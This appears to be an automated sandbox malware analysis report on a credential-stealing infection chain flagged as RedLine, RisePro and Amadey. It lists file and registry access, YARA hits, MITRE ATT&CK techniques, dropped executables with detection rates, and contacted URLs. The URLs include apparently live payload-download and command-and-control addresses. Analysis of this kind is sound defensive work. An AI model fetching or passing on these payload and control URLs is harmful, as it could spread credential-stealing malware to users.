Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: 831840b410.exe, 00000010.00000003.3096661505.0000000001061000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP`
Source: 831840b410.exe, 0000002F.00000003.3472622791.000000000192C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP
Source: 831840b410.exe, 0000002F.00000000.3200529574.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 831840b410.exe, 0000001F.00000003.3233691066.0000000001849000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XPo/

Source: Yara match	File source: 52.0.build12.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c884f8452a.exe PID: 5596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 4012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 3436, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 52.0.build12.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED

Yara detected RisePro Stealer

Source: Yara match	File source: 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3261208378.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.3372562116.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3072924932.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3071931619.0000000007DEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000003.3293720784.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3072820312.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2990613852.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3280096095.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3251490227.0000000007C50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3072419404.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c884f8452a.exe PID: 5596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 4012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 3436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c884f8452a.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 1864, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\L6h0MKsU674R9uRTEifr_26.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\lGaQRZaI9ZBmSkbqM2Ghh6s.zip, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	11 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	4 Obfuscated Files or Information	1 Credentials in Registry	347 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	111 Registry Run Keys / Startup Folder	12 Software Packing	1 Credentials In Files	1071 Security Software Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	591 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	591 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	54%	Virustotal		Browse
SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	50%	ReversingLabs	Win32.Trojan.Znyonm
SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	100%	Avira	TR/Crypt.TPM.Gen
SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	100%	Avira	HEUR/AGEN.1305500
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	100%	Avira	HEUR/AGEN.1305500
C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	100%	Avira	TR/PSW.Agent.szlsq
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	100%	Avira	TR/ClipBanker.tbxxw
C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	100%	Avira	HEUR/AGEN.1305500
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	100%	Avira	TR/PSW.Agent.szlsq
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	100%	Avira	TR/ClipBanker.pjgxt
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sarra[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	51%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	82%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	33%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	82%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	92%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sarra[1].exe	41%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	51%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	71%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	78%	Virustotal		Browse
C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	51%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	50%	ReversingLabs	Win32.Trojan.Znyonm
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	54%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	33%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	51%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	82%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	80%	Virustotal		Browse
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	71%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	78%	Virustotal		Browse
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	82%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
play.google.com	0%	Virustotal	Browse
www3.l.google.com	0%	Virustotal	Browse
b-stamps.gl.at.ply.gg	2%	Virustotal	Browse
ipinfo.io	1%	Virustotal	Browse
api.ip.sb	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
accounts.youtube.com	0%	Virustotal	Browse
db-ip.com	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
youtube-ui.l.google.com	64.233.185.136	true	false	0%, Virustotal, Browse
www3.l.google.com	108.177.122.101	true	false	0%, Virustotal, Browse
play.google.com	74.125.138.101	true	false	0%, Virustotal, Browse
ipinfo.io	34.117.186.192	true	false	1%, Virustotal, Browse
www.google.com	142.250.9.99	true	false	0%, Virustotal, Browse
b-stamps.gl.at.ply.gg	147.185.221.19	true	true	2%, Virustotal, Browse
db-ip.com	104.26.5.15	true	false	0%, Virustotal, Browse
accounts.youtube.com	unknown	unknown	true	0%, Virustotal, Browse
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse
www.youtube.com	unknown	unknown	true	0%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://b-stamps.gl.at.ply.gg:30946/	true
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1	true
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll	true
http://193.233.132.167/lend/build12.exe	true
https://www.youtube.com/account	false
https://www.google.com/favicon.ico	false
http://193.233.132.167/cost/random.exe	true
http://193.233.132.167/cost/sarra.exe	true
http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll	true
http://193.233.132.167/mine/random.exe	true
http://193.233.132.167/enigma/index.php?wal=1	true
http://193.233.132.56/Pneh2sXQk0/index.php	true
http://193.233.132.167/enigma/index.php	true
http://193.233.132.167/enigma/Plugins/cred64.dll	true
http://193.233.132.167/enigma/Plugins/clip64.dll	true
b-stamps.gl.at.ply.gg:30946	true
https://play.google.com/log?format=json&hasfast=true&authuser=0	false
https://ipinfo.io/widget/demo/81.181.57.52	false
http://193.233.132.167/mine/amert.exe	true
https://db-ip.com/demo/home.php?s=81.181.57.52	false

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/accountM)	831840b410.exe, 0000001F.00000002.3242965392.0000000004034000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3235541239.0000000004034000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=81.181.57.52r	MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.167/cost/go.exerisepro	MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000012.00000003.2839947296.0000014EAB780000.00000004.00000800.00020000.00000000.sdmp	false
http://193.233.132.167/cost/go.exe	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.167/cost/go.exe0.1	MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.2803800897.0000029E9006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	false
https://t.me/risepro_botisepro_bot	c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false
http://193.233.132.167/cost/lenin.exe/	MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDllDp	c884f8452a.exe, 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, c884f8452a.exe, 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp	false
https://t.5UHK	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000B.00000002.2784637428.0000029E80001000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	false
https://ipinfo.io/widget/demo/81.181.57.52E	c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botrisepW	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=81.181.57.52-	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	false
https://ipinfo.io/widget/demo/81.181.57.52L	c884f8452a.exe, 00000014.00000002.3272062949.000000000168F000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	false
https://db-ip.com/r	RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	c884f8452a.exe, 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, RageMP131.exe, 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	false
